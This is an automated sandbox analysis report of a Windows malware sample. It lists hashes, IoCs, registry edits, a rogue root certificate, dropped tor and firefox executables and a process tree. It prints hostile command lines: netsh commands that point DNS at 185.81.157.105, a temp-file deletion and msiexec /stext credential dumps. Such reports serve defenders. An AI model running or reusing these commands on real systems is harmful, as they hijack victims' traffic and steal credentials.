Analysis
- max time kernel
151s - max time network
151s - platform
windows7_x64 - resource
win7v200722 - submitted
02/08/2020, 15:28
Static task
static1
Behavioral task
behavioral1
Sample
762002910000000.bin.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
762002910000000.bin.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target 762002910000000.bin.exe
- Size 85KB
- Sample200802-vbht9618he
- SHA256 e1f3874c42cdd4e2c49477d7b2bc3ebd3bcd4e3a2cf882fa4d1ea09546c74f5d
- MD5 2a23b69ccccebf091787fc9861697bd0
- SHA1 b8d9631cbdfe5833db70c8995b539d3f1b5985b1
- SHA512 c106b9605e7dd64877975aed3375a687e96a18990f88d6e16918fbd9ca08ac283ace24e0ea2e6278a8a283f9853f35f65c39010bb4d0eaa807a17ea6f6a96889
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Modifies service 2 TTPs 54 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7} netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7}\NameServer netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\NameServer = "185.81.157.105" netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\NameServer netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\NameServer netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7} netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7}\NameServer = "185.81.157.105" netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7}\NameServer netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{C4989254-BB2E-4FCA-8653-C0EAF2B019C7} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963} netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe - Enumerates connected drives 3 TTPs
- Suspicious use of WriteProcessMemory 94 IoCs
description pid Process procid_target PID 1432 wrote to memory of 1696 1432 762002910000000.bin.exe 26 PID 1432 wrote to memory of 1696 1432 762002910000000.bin.exe 26 PID 1432 wrote to memory of 1696 1432 762002910000000.bin.exe 26 PID 1432 wrote to memory of 1696 1432 762002910000000.bin.exe 26 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1432 wrote to memory of 1248 1432 762002910000000.bin.exe 27 PID 1696 wrote to memory of 1168 1696 firefox.exe 28 PID 1696 wrote to memory of 1168 1696 firefox.exe 28 PID 1696 wrote to memory of 1168 1696 firefox.exe 28 PID 1696 wrote to memory of 1168 1696 firefox.exe 28 PID 1696 wrote to memory of 1036 1696 firefox.exe 30 PID 1696 wrote to memory of 1036 1696 firefox.exe 30 PID 1696 wrote to memory of 1036 1696 firefox.exe 30 PID 1696 wrote to memory of 1036 1696 firefox.exe 30 PID 1036 wrote to memory of 564 1036 firefox.exe 31 PID 1036 wrote to memory of 564 1036 firefox.exe 31 PID 1036 wrote to memory of 564 1036 firefox.exe 31 PID 1036 wrote to memory of 564 1036 firefox.exe 31 PID 1248 wrote to memory of 1776 1248 setup.exe 35 PID 1248 wrote to memory of 1776 1248 setup.exe 35 PID 1248 wrote to memory of 1776 1248 setup.exe 35 PID 1248 wrote to memory of 1776 1248 setup.exe 35 PID 1248 wrote to memory of 1344 1248 setup.exe 37 PID 1248 wrote to memory of 1344 1248 setup.exe 37 PID 1248 wrote to memory of 1344 1248 setup.exe 37 PID 1248 wrote to memory of 1344 1248 setup.exe 37 PID 1248 wrote to memory of 1828 1248 setup.exe 39 PID 1248 wrote to memory of 1828 1248 setup.exe 39 PID 1248 wrote to memory of 1828 1248 setup.exe 39 PID 1248 wrote to memory of 1828 1248 setup.exe 39 PID 1248 wrote to memory of 860 1248 setup.exe 41 PID 1248 wrote to memory of 860 1248 setup.exe 41 PID 1248 wrote to memory of 860 1248 setup.exe 41 PID 1248 wrote to memory of 860 1248 setup.exe 41 PID 1248 wrote to memory of 1292 1248 setup.exe 43 PID 1248 wrote to memory of 1292 1248 setup.exe 43 PID 1248 wrote to memory of 1292 1248 setup.exe 43 PID 1248 wrote to memory of 1292 1248 setup.exe 43 PID 1248 wrote to memory of 1868 1248 setup.exe 45 PID 1248 wrote to memory of 1868 1248 setup.exe 45 PID 1248 wrote to memory of 1868 1248 setup.exe 45 PID 1248 wrote to memory of 1868 1248 setup.exe 45 PID 1248 wrote to memory of 652 1248 setup.exe 47 PID 1248 wrote to memory of 652 1248 setup.exe 47 PID 1248 wrote to memory of 652 1248 setup.exe 47 PID 1248 wrote to memory of 652 1248 setup.exe 47 PID 1248 wrote to memory of 1120 1248 setup.exe 49 PID 1248 wrote to memory of 1120 1248 setup.exe 49 PID 1248 wrote to memory of 1120 1248 setup.exe 49 PID 1248 wrote to memory of 1120 1248 setup.exe 49 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1036 wrote to memory of 1028 1036 firefox.exe 51 PID 1028 wrote to memory of 1536 1028 dllhost.exe 52 PID 1028 wrote to memory of 1536 1028 dllhost.exe 52 PID 1028 wrote to memory of 1536 1028 dllhost.exe 52 PID 1028 wrote to memory of 1536 1028 dllhost.exe 52 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1312 1028 dllhost.exe 20 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 1456 1028 dllhost.exe 54 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 PID 1028 wrote to memory of 560 1028 dllhost.exe 55 -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\TabProcGrowth = "0" firefox.exe Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner = "1" firefox.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Loads dropped DLL 68 IoCs
pid Process 1432 762002910000000.bin.exe 1696 firefox.exe 1432 762002910000000.bin.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1696 firefox.exe 1168 tor.exe 1168 tor.exe 1168 tor.exe 1168 tor.exe 1168 tor.exe 1168 tor.exe 1168 tor.exe 1696 firefox.exe 1696 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 1036 firefox.exe 564 tor.exe 564 tor.exe 564 tor.exe 564 tor.exe 564 tor.exe 564 tor.exe 564 tor.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1248 setup.exe 1248 setup.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 762002910000000.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 762002910000000.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 762002910000000.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 762002910000000.bin.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\SystemCertificates\REQUEST setup.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1063E35D9093B0F8.lnk firefox.exe - Executes dropped EXE 5 IoCs
pid Process 1696 firefox.exe 1168 tor.exe 1248 setup.exe 1036 firefox.exe 564 tor.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1028 dllhost.exe 1028 dllhost.exe 1312 Explorer.EXE 1312 Explorer.EXE 1028 dllhost.exe 1028 dllhost.exe 1028 dllhost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1028 dllhost.exe - JavaScript code in executable 22 IoCs
resource yara_rule behavioral1/files/0x0004000000013265-52.dat js behavioral1/files/0x0004000000013265-54.dat js behavioral1/files/0x0004000000013265-55.dat js behavioral1/files/0x0004000000013265-57.dat js behavioral1/files/0x0004000000013255-60.dat js behavioral1/files/0x0004000000013255-63.dat js behavioral1/files/0x0004000000013252-73.dat js behavioral1/files/0x0004000000013252-74.dat js behavioral1/files/0x0004000000013253-98.dat js behavioral1/files/0x0004000000013257-101.dat js behavioral1/files/0x0004000000013259-103.dat js behavioral1/files/0x0003000000013313-161.dat js behavioral1/files/0x0003000000013313-162.dat js behavioral1/files/0x0003000000013313-163.dat js behavioral1/files/0x0003000000013313-165.dat js behavioral1/files/0x00030000000132f0-166.dat js behavioral1/files/0x00030000000132f0-167.dat js behavioral1/files/0x00030000000132ed-174.dat js behavioral1/files/0x00030000000132ed-175.dat js behavioral1/files/0x00030000000132ee-234.dat js behavioral1/files/0x00030000000132f2-237.dat js behavioral1/files/0x00030000000132f4-239.dat js
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1312 -
C:\Users\Admin\AppData\Local\Temp\762002910000000.bin.exe"C:\Users\Admin\AppData\Local\Temp\762002910000000.bin.exe"2⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Modifies system certificate store
PID:1432 -
C:\Users\Admin\AppData\Local\Temp\firefox.exe"C:\Users\Admin\AppData\Local\Temp\firefox.exe"3⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Drops startup file
- Executes dropped EXE
PID:1696 -
C:\Users\Admin\AppData\Local\Temp\tor.exe"C:\Users\Admin\AppData\Local\Temp\tor.exe"4⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1168
-
-
C:\Users\Admin\AppData\Roaming\1063E35D9093B0F8\firefox.exe"C:\Users\Admin\AppData\Roaming\1063E35D9093B0F8\firefox.exe"4⤵
- Suspicious use of WriteProcessMemory
- Modifies Internet Explorer settings
- Loads dropped DLL
- Executes dropped EXE
PID:1036 -
C:\Users\Admin\AppData\Roaming\1063E35D9093B0F8\tor.exe"C:\Users\Admin\AppData\Roaming\1063E35D9093B0F8\tor.exe"5⤵
- Loads dropped DLL
- Executes dropped EXE
PID:564
-
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\system32\dllhost.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:1028 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q %temp%\gif*6⤵PID:1536
-
-
C:\Windows\SysWOW64\msiexec.exe"" /stext "C:\Users\Admin\AppData\Local\Temp\_pA60F.tmp"6⤵PID:1456
-
-
C:\Windows\SysWOW64\msiexec.exe"" /stext "C:\Users\Admin\AppData\Local\Temp\_pA60E.tmp"6⤵PID:560
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Modifies system certificate store
- Executes dropped EXE
PID:1248 -
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ipv4 delete dnsservers "Local Area Connection" all4⤵
- Modifies service
PID:1776
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ip delete dns "Local Area Connection" all4⤵
- Modifies service
PID:1344
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ipv4 add dnsserver "Local Area Connection" 185.81.157.105 index=1 validate=no4⤵
- Modifies service
PID:1828
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ip add dns "Local Area Connection" 185.81.157.105 index=14⤵
- Modifies service
PID:860
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ipv4 delete dnsservers "Loopback Pseudo-Interface 1" all4⤵
- Modifies service
PID:1292
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ip delete dns "Loopback Pseudo-Interface 1" all4⤵
- Modifies service
PID:1868
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ipv4 add dnsserver "Loopback Pseudo-Interface 1" 185.81.157.105 index=1 validate=no4⤵
- Modifies service
PID:652
-
-
C:\Windows\SysWOW64\netsh.exeWindows\System32\netsh.exe interface ip add dns "Loopback Pseudo-Interface 1" 185.81.157.105 index=14⤵
- Modifies service
PID:1120
-
-
-